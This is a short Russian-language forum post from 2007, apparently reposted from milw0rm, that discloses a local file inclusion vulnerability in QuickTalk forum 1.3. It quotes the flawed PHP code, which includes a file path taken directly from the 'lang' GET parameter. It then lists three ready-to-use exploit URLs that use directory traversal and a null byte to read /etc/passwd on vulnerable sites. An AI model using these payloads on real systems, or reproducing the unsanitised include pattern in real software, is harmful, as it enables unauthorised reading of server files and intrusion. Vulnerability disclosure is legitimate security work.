16.11.2007, 22:26
|
|
Постоянный
Регистрация: 28.04.2007
Сообщений: 547
Провел на форуме:
5516499
Репутация:
3702
|
|
QuickTalk forum 1.3 (lang) Local File Inclusion Vulnerabilities
#download: http://www.qt-cute.org/download/qtf13.zip
#vulncode:
$strLang = $_GET["lang"];
include("language/$strLang/qtf_lang_reg.inc");
#exploits:
Код:
http://www.site.com/[path]/qtf_checkname.php?lang=./../../../../../../../../../../etc/passwd%00
http://www.site.com/[path]/qtf_j_birth.php?lang=./../../../../../../../../../../etc/passwd%00
http://www.site.com/[path]/qtf_j_exists.php?lang=./../../../../../../../../../../etc/passwd%00
(c) milw0rm.com |
|
|